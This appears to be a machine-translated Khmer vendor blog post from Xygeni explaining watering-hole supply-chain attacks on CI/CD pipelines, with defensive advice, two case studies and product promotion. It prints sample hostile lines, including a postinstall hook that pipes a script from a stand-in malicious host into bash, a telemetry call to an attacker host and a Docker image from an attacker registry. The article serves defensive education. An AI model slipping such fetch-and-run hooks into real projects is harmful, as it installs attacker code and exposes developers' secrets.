ការវាយប្រហាររន្ធទឹក - តើការវាយប្រហាររន្ធទឹកជាអ្វី

ពីអ្នកអភិវឌ្ឍន៍ទៅគោលដៅ៖ របៀបដែលការវាយប្រហារ Watering Hole ជ្រៀតចូលទៅក្នុងរបស់អ្នក Pipeline

សំណង់ដែលបានសាងសង់ Backdoor

ការសាងសង់មួយឆ្លងកាត់។ សេវាកម្មមួយត្រូវបានដាក់ពង្រាយ។ អ្វីៗគ្រប់យ៉ាងមើលទៅស្អាត។ ប៉ុន្តែលាក់នៅខាងក្នុងគឺជាការពឹងផ្អែកពុលដែលទាញចេញពីប្រភពដែលរងការគំរាមកំហែង។ នោះគឺជាការវាយប្រហារបែបបុរាណ។

នៅក្នុងសេណារីយ៉ូនេះ អ្នកវាយប្រហារមិនបានបំបែកចូលទៅក្នុងហេដ្ឋារចនាសម្ព័ន្ធរបស់អ្នកទេ។ ពួកគេបានរង់ចាំអ្នកអភិវឌ្ឍន៍ចូលមើលធនធានដែលគួរឱ្យទុកចិត្ត គេហទំព័រឯកសារ ឃ្លាំងកញ្ចប់ ឬទំព័រទាញយក SDK ដែលពួកគេបានលួចចូលរួចហើយ។ កូដព្យាបាទបានចូលទៅក្នុង... pipeline ជាមួយពាក្យបញ្ជាទាញ ឬដំឡើងសាមញ្ញមួយ។

នៅពេលដែលវាដឹកជញ្ជូន អ្នកវាយប្រហារមានជំហរស្ងាត់ស្ងៀមក្នុងការផលិត។ ហើយរបស់អ្នក។ CI/CD pipeline គ្រាន់តែជួយពួកគេឱ្យទៅដល់ទីនោះ។

តើ​ការ​វាយ​ប្រហារ​ Watering Hole ជា​អ្វី (ហើយ​ហេតុអ្វី​បាន​ជា​អ្នក​អភិវឌ្ឍន៍​គួរ​យកចិត្តទុកដាក់)

ដូច្នេះ តើការវាយប្រហារ Watering Hole ជាអ្វី? វាគឺជាពេលដែលអ្នកវាយប្រហារធ្វើឱ្យខូចធនធានដែលអ្នកអភិវឌ្ឍន៍ ឬក្រុមជឿទុកចិត្តរួចហើយ។ ជំនួសឱ្យការកំណត់គោលដៅដោយផ្ទាល់លើអ្នក ពួកគេធ្វើឱ្យខូចគេហទំព័រ ឬឃ្លាំងផ្ទុកទិន្នន័យទូទៅដែលអ្នកទំនងជាប្រើ ហើយរង់ចាំនរណាម្នាក់ចាប់នុយ។

ការវាយប្រហារ Watering hole គឺខុសពីការវាយប្រហារ Phishing ដែលជាធម្មតាផ្តោតលើព័ត៌មានសម្គាល់ និងពីការវាយប្រហារខ្សែសង្វាក់ផ្គត់ផ្គង់ខាងលើដែលចាក់កូដមិនល្អចូលទៅក្នុង repo សំខាន់របស់កញ្ចប់។ នៅទីនេះ ការគំរាមកំហែងបានមកពីប្រព័ន្ធអេកូឡូស៊ីនៅជុំវិញអ្នក៖ ឯកសារដែលបន្ថែមទ្វារក្រោយ ឯកសារគោលពីរ SDK ដែលបានប្តូរជាមួយមេរោគ Trojans ឬបញ្ជីឈ្មោះកញ្ចប់ដែលបម្រើកំណែដែលបានផ្លាស់ប្តូរ។

ហើយធនធានអភិវឌ្ឍន៍គឺជាគោលដៅចម្បង៖ កម្មវិធីគ្រប់គ្រងកញ្ចប់ (npm, pip, Maven), ឃ្លាំង GitHub សាធារណៈ, រូបភាព Docker ដែលមើលទៅជាផ្លូវការ និងទំព័រទាញយក។ ប្រសិនបើណាមួយក្នុងចំណោមទាំងនេះត្រូវបានលួចចូល អ្នកវាយប្រហារបានស្ថិតនៅក្នុងលំហូរអភិវឌ្ឍន៍របស់អ្នករួចហើយ។

កន្លែងដែលអន្ទាក់ត្រូវបានដាំ៖ ឧទាហរណ៍ពិតប្រាកដដែលផ្តោតលើការអភិវឌ្ឍន៍ ការវាយប្រហាររន្ធទឹក។

ការវាយប្រហារ Watering hole មានទម្រង់ជាច្រើន។ ខាងក្រោមនេះជាវិធីមួយចំនួនដែលពួកគេគេចផុតពីអ្នកអភិវឌ្ឍន៍៖

  • គេហទំព័រឯកសារដែលរងការគំរាមកំហែង:
    នាំចូល { init } ពី 'malicious-lib';

init({ ទូរមាត្រ៖ 'https://attacker.com' });
ឧទាហរណ៍​ស្របច្បាប់​មួយ​បាន​ផ្លាស់ប្ដូរ​យ៉ាង​ស្រទន់​នៅ​ក្នុង​ឯកសារ។ អ្នក​អភិវឌ្ឍន៍​ចម្លង បិទភ្ជាប់ ហើយ​បន្ត​ទៅ​មុខ​ទៀត។

  • ស្គ្រីបក្រោយការដំឡើងដែលមានគំនិតអាក្រក់នៅក្នុង PR សាធារណៈ:
				
					{
  "scripts": {
    "postinstall": "curl -s https://malicious.site/agent.sh | bash"
  }
}

				
			

មើលទៅដូចជា PR ដែលមានប្រយោជន៍ ប៉ុន្តែវាដំឡើងមេរោគដោយស្ងៀមស្ងាត់។

  • ប្រព័ន្ធគោលពីរ SDK ដែល Trojanized:
    ./sdk-install.sh # មានឧបករណ៍ផ្ទុកដំណាក់កាលទីពីរដែលលាក់
    ឯកសារគោលពីរត្រូវបានទាញយកពី URL ដែលមើលទៅគួរឱ្យទុកចិត្ត ប៉ុន្តែត្រូវបានផ្លាស់ប្តូរ។
  • រូបភាពមូលដ្ឋាន Docker ដែលបានរៀបចំ:
    ពី node:slim-malicious
  • រត់ bash /tmp/hidden-installer.sh
    ឈ្មោះរូបភាពមើលទៅត្រឹមត្រូវ ប៉ុន្តែវាត្រូវបានបង្ហោះនៅលើបញ្ជីឈ្មោះដែលត្រូវបានលួចចូល ឬក្លែងបន្លំ។

ការវាយប្រហារទាំងអស់នេះពឹងផ្អែកលើការជឿទុកចិត្តរបស់អ្នកអភិវឌ្ឍន៍ និងលំហូរការងារដែលមានល្បឿនលឿន ដើម្បីជៀសវាងការរកឃើញ។

ពីកុំព្យូទ័រយួរដៃទៅ Pipeline: របៀបដែលការឆ្លងរាលដាល

ការវាយប្រហារ​លើ​គេហទំព័រ​មិន​ឈប់​នៅ​លើ​កម្មវិធី​រុករក​ទេ។ នៅពេលដែលកូដព្យាបាទចូលទៅក្នុងបរិស្ថានក្នុងស្រុកវាអាចធ្វើដំណើរដោយស្ងាត់ៗឆ្លងកាត់ខ្សែសង្វាក់ដឹកជញ្ជូនទាំងមូលរបស់អ្នក៖

  1. អ្នកអភិវឌ្ឍន៍ចូលមើលធនធានដែលរងការលួចចូល (ឯកសារ ឯកសារ ឃ្លាំង គេហទំព័រ SDK)។
  2. កូដព្យាបាទធ្លាក់ចូលទៅក្នុងបរិស្ថានអ្នកអភិវឌ្ឍន៍ក្នុងស្រុក។
  3. ឯកសារ ឬឯកសារដែលឆ្លងមេរោគត្រូវបានបន្ថែមទៅ commit ហើយបានរុញ។
  4. CI/CD ការងារដំណើរការជំហានសាងសង់ និងដំឡើងដោយប្រើសមាសធាតុដែលរងការសម្របសម្រួលទាំងនេះ។
  5. វត្ថុបុរាណនេះត្រូវបានដឹកជញ្ជូន និងដាក់ពង្រាយ ដោយបង្កប់លេខកូដរបស់អ្នកវាយប្រហារនៅក្នុងផលិតកម្ម។

ខ្សែសង្វាក់នេះអាចលាតត្រដាងក្នុងរយៈពេលប៉ុន្មានម៉ោង ជាពិសេសនៅក្នុងក្រុមដែលមានល្បឿនលឿន។

ដើម្បីស្រមៃមើលរឿងនេះ សូមស្រមៃមើល ក pipeline ដ្យាក្រាមដែលតាមដានផ្លូវឆ្លងពី៖

  • ស្ថានីយការងារអភិវឌ្ឍន៍: កម្មវិធីនិពន្ធ, ស្ថានីយ, ស្គ្រីបដំឡើង។
  • ការត្រួតពិនិត្យប្រភព: Commits, PRs, ការរួមបញ្ចូលគ្នា។
  • CI Pipeline៖ ការដំឡើង​ភាពអាស្រ័យ ការប្រតិបត្តិ​ស្គ្រីប ការបង្កើត​រូបភាព។
  • ផលិតកម្ម: ការចេញផ្សាយវត្ថុបុរាណ ការដាក់ពង្រាយ និងការចូលប្រើរបស់អ្នកប្រើប្រាស់។

នៅជំហាននីមួយៗ ការវាយប្រហារដោយទឹកអាចនឹងមិនត្រូវបានគេកត់សម្គាល់ទេ បើគ្មានវិធានការការពារត្រឹមត្រូវ។

សេណារីយ៉ូហានិភ័យពិតប្រាកដនៅក្នុង CI/CD

ការវាយប្រហារ Watering hole មិនត្រឹមតែឈប់នៅម៉ាស៊ីនអភិវឌ្ឍន៍នោះទេ។ ពួកវាទាញយកអត្ថប្រយោជន៍ពី... pipeline ប្រឆាំងនឹងអ្នក។ ហានិភ័យពិតប្រាកដរួមមាន៖

  • រូបភាពមូលដ្ឋានដែលរងការគំរាមកំហែង:
    FROM attacker-registry.io/python:3.10-slim
    មេរោគ​ដែល​លាក់​ត្រូវ​បាន​បន្ថែម​កំឡុង​ពេល​បង្កើត។
  • កំពុងទាញយកស្គ្រីប ឬឧបករណ៍ដែលមិនបានខ្ទាស់:
    curl -s https://pkg.example.com/latest.sh | bash
    “ថ្មីបំផុត” អាចផ្លាស់ប្តូរនៅពេលណាក៏បាន ជាពិសេសប្រសិនបើ DNS ត្រូវបានគេលួចចូល។
  • កំណត់ហេតុ CI ដែលឆ្លងមេរោគ (ឧទាហរណ៍)៖
    [+] កំពុងដំឡើងឧបករណ៍…

[+] កំពុងទាញយកពី https://tools.fakecdn.net/bootstrap.sh

[+] ការសាងសង់បានបញ្ចប់។

អ្វីៗគ្រប់យ៉ាងមើលទៅល្អនៅលើផ្ទៃដី។ ប៉ុន្តែបន្ទុកដែលបានផ្ទុកមាននៅក្នុងវត្ថុបុរាណរួចហើយ។

ការវាយប្រហារលើរន្ធទឹករំលោភលើទំនុកចិត្ត CI/CD បរិស្ថានដាក់នៅក្នុងប្រភព និងស្គ្រីបខាងក្រៅ។

ការបំបែក ការវាយប្រហាររន្ធទឹក ខ្សែសង្វាក់៖ ការការពារផ្នែកអ្នកអភិវឌ្ឍន៍

ដើម្បីបញ្ឈប់ការវាយប្រហារលើរន្ធទឹកឱ្យបានឆាប់ អ្នកត្រូវរឹតបន្តឹងការអនុវត្តការអភិវឌ្ឍន៍របស់អ្នក។ ការបង្ការការវាយប្រហារត្រូវតែចាប់ផ្តើមមុនពេលកូដចូលទៅក្នុងរបស់អ្នក។ CI/CD pipeline:

  • ការភ្ជាប់ Pin dependencyជៀសវាងស្លាកអណ្តែតដូចជា ថ្មីបំផុត។ ប្រើ lockfiles ដើម្បីធានាបាននូវការបង្កើតដែលមានការកំណត់។
  • ផ្ទៀងផ្ទាត់​ការត្រួតពិនិត្យ​៖ ផ្ទៀងផ្ទាត់​ស្គ្រីប​ពីចម្ងាយ ប្រព័ន្ធ​គោលពីរ និង​កញ្ចប់​ទាំងអស់។
  • ប្រើកញ្ចក់ផ្ទាល់ខ្លួន៖ ចម្លងបញ្ជីឈ្មោះកញ្ចប់សំខាន់ៗ ដើម្បីការពារការប៉ះពាល់ទៅនឹងប្រភពខាងលើដែលរងការគំរាមកំហែង។
  • ផ្ទៀងផ្ទាត់រូបភាពមូលដ្ឋាន: ប្រើ​ការ​សង្ខេប​រូបភាព (@sha256) ជំនួស​ឲ្យ​ស្លាក។ ស្កេន​រូបភាព​ទាំងអស់​មុន​ពេល​ប្រើប្រាស់។
  • Run SCA/SAST មុន​ការ​បញ្ចូល​ចូល​គ្នា៖ ធ្វើឱ្យការស្កេនដោយស្វ័យប្រវត្តិនៅក្នុងដំណើរការការងារ PR របស់អ្នក ដើម្បីចាប់បានការគំរាមកំហែងទាន់ពេលវេលា។
  • ប្រើ Git hooks៖ រកឃើញ និងរារាំងការផ្លាស់ប្តូរដែលមានហានិភ័យខ្ពស់ មុនពេលពួកវាប៉ះពាល់ដល់ការគ្រប់គ្រងកំណែ។
  • ព្យាបាល លេខកូដភាគីទីបី ដូចជាការបញ្ចូលដែលមិនគួរឱ្យទុកចិត្តសូម្បីតែបណ្ណាល័យដែលប្រើប្រាស់យ៉ាងទូលំទូលាយក៏អាចមានហានិភ័យលាក់កំបាំងផងដែរ។

សុវត្ថិភាពត្រូវតែបញ្ចូលទៅក្នុងលំហូរការងាររបស់អ្នកអភិវឌ្ឍន៍។ ទម្លាប់ និងការគ្រប់គ្រងទាំងនេះជួយទប់ស្កាត់ការវាយប្រហារមុនពេលវាកាន់តែធ្ងន់ធ្ងរឡើង។

មេរៀនពីវាល

ករណីទី 1: ស្ទ្រីមព្រឹត្តិការណ៍ (npm)

អ្នកថែទាំដែលគួរឱ្យទុកចិត្តបានផ្ទេរការគ្រប់គ្រងលើកញ្ចប់ដ៏ពេញនិយមមួយ។ អ្នកថែទាំថ្មីបានបន្ថែមការពឹងផ្អែកដែលបានលួចទិន្នន័យកាបូបគ្រីបតូដោយស្ងាត់ៗ។

  • កន្លែងដែលវាបរាជ័យ: គ្មានការពិនិត្យឡើងវិញនៃការពឹងផ្អែកអន្តរកាលទេ។
  • មេរៀន: ការប្រើប្រាស់ស្វ័យប្រវត្តិ SCA ដើម្បីតាមដាន និងសម្គាល់ការផ្លាស់ប្តូរនៅក្នុងការពឹងផ្អែកដោយប្រយោល។

ករណីទី 2: កម្មវិធីផ្ទុកឡើង Codecov Bash

អ្នកវាយប្រហារម្នាក់បានផ្លាស់ប្តូរស្គ្រីប bash ដែលប្រើក្នុង CI ជាច្រើន។ pipelineទ. វាបានច្រោះយកអាថ៌កំបាំងពីបរិស្ថាន CI។

  • កន្លែងដែលវាបរាជ័យ៖ គ្មានការផ្ទៀងផ្ទាត់ checksum ទេ។
  • មេរៀន៖ តែងតែផ្ទៀងផ្ទាត់ឧបករណ៍ដែលបានទាញយកមុនពេលដំណើរការវា CI/CD.

ទាំងពីរសុទ្ធតែជាការវាយប្រហារតាមរន្ធទឹក។ ទាំងពីរអាចត្រូវបានបញ្ឈប់មុន។

ការបង្ការក្នុងការអនុវត្ត៖ ផ្នត់គំនិត និងឧបករណ៍ DevSecOps

ការទប់ស្កាត់ការវាយប្រហារដោយ watering hole មានន័យថា ការកសាងវប្បធម៌អ្នកអភិវឌ្ឍន៍ដែលយល់ដឹងអំពីសុវត្ថិភាព៖

  • រំកិល​សន្តិសុខ​ទៅ​ឆ្វេង៖ បណ្តុះបណ្តាលអ្នកអភិវឌ្ឍន៍ឱ្យសួរសំណួរអំពីស្គ្រីបដែលមិននឹកស្មានដល់ ការផ្លាស់ប្តូរភាពអាស្រ័យ ឬជំហានដំឡើង។
  • ស្វ័យប្រវត្តិ SCA/SAST: ប្រើ ឧបករណ៍​ដែល​មាន ដែលរួមបញ្ចូលទៅក្នុងដំណើរការការងារ PR ដើម្បីការពារភាពងាយរងគ្រោះ និងគំរូដែលមានហានិភ័យដែលគេស្គាល់។
  • ប្រើការផ្ទៀងផ្ទាត់ហាសគ្រប់ទីកន្លែង៖ ធនធានខាងក្រៅណាមួយគួរតែត្រូវបានផ្ទៀងផ្ទាត់មុនពេលប្រតិបត្តិ។
  • តាមដានក្នុងពេលវេលាជាក់ស្តែង៖ ការបង្ការតែមួយមុខមិនគ្រប់គ្រាន់ទេ។

ឧបករណ៍ដូចជា ស៊ីហ្គេនី ផ្តល់ជូននូវភាពមើលឃើញជាក់ស្តែងនៅទូទាំងខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីទាំងមូលរបស់អ្នក។ Xygeni តាមដានជាបន្តបន្ទាប់នូវបរិស្ថានអ្នកអភិវឌ្ឍន៍ សកម្មភាព Git និង CI pipelines និង​ការចុះបញ្ជី​វត្ថុបុរាណ​ដើម្បី​រកឃើញ៖

  • ការផ្លាស់ប្តូរភាពអាស្រ័យមិនធម្មតា។
  • ការកែប្រែគួរឱ្យសង្ស័យនៅក្នុងស្គ្រីបសាងសង់។
  • គំរូចូលប្រើមិនធម្មតាទៅកាន់ប្រភពភាគីទីបី។

ជាមួយ Xygeni ក្រុមនានាអាចទប់ស្កាត់ការគំរាមកំហែងដែលបង្កឡើងតាមរយៈការវាយប្រហារតាមរន្ធទឹកមុនពេលពួកវារីករាលដាល និងតាមដានប្រភពនៃការសម្របសម្រួលប្រសិនបើមានការវាយប្រហារណាមួយរអិលចូល។ វាត្រូវបានបង្កើតឡើងជាពិសេសសម្រាប់សម័យទំនើប។ CI/CD បរិស្ថាន ដោយផ្តោតលើការជូនដំណឹងដែលអាចអនុវត្តបាន និងភាពងាយស្រួលប្រើប្រាស់ដែលគិតគូរពីអ្នកអភិវឌ្ឍន៍ជាមុន។

កំណត់ចំណាំចុងក្រោយ៖ លឿន Pipelines, ហានិភ័យលឿនជាងមុន

ឥឡូវនេះអ្នកដឹងទេ តើការវាយប្រហារដោយទឹកគឺជាអ្វី អ្នកដឹងថាពួកគេមិនចាំបាច់បំពានហេដ្ឋារចនាសម្ព័ន្ធរបស់អ្នកដោយផ្ទាល់ទេ។ ពួកគេទទួលបានជោគជ័យដោយការបំពុលឧបករណ៍ និងគេហទំព័រដែលអ្នកអភិវឌ្ឍន៍ទុកចិត្តរួចហើយ។ ពីទីនោះ Nginx CI/CD pipeline អាចក្លាយជាប្រព័ន្ធចែកចាយរបស់អ្នកវាយប្រហារ.

ហានិភ័យពិតប្រាកដមិនមែនគ្រាន់តែជាការសម្របសម្រួលនោះទេ វាគឺជារបៀបដែលកូដព្យាបាទផ្លាស់ទីតាមរយៈរបស់អ្នកលឿនប៉ុណ្ណា។ pipeline.

រួមបញ្ចូលការត្រួតពិនិត្យសុវត្ថិភាពទៅក្នុងលំហូរអភិវឌ្ឍន៍របស់អ្នក មិនមែនជាការគិតទុកជាមុននោះទេ។ ពីព្រោះនៅពេលដែលវាត្រូវបានដឹកជញ្ជូនរួចរាល់ វាយឺតពេលហើយ។

ឧបករណ៍វិភាគសមាសភាពកម្មវិធី sca
ផ្តល់អាទិភាព ដោះស្រាយ និងធានាសុវត្ថិភាពហានិភ័យផ្នែកទន់របស់អ្នក
ទទួលបានគណនីឥតគិតថ្លៃរបស់អ្នក។
មិនតម្រូវឱ្យមានកាតឥណទានទេ។

ធានាសុវត្ថិភាពនៃការអភិវឌ្ឍន៍ និងការដឹកជញ្ជូនកម្មវិធីរបស់អ្នក

ជាមួយឈុតផលិតផល Xygeni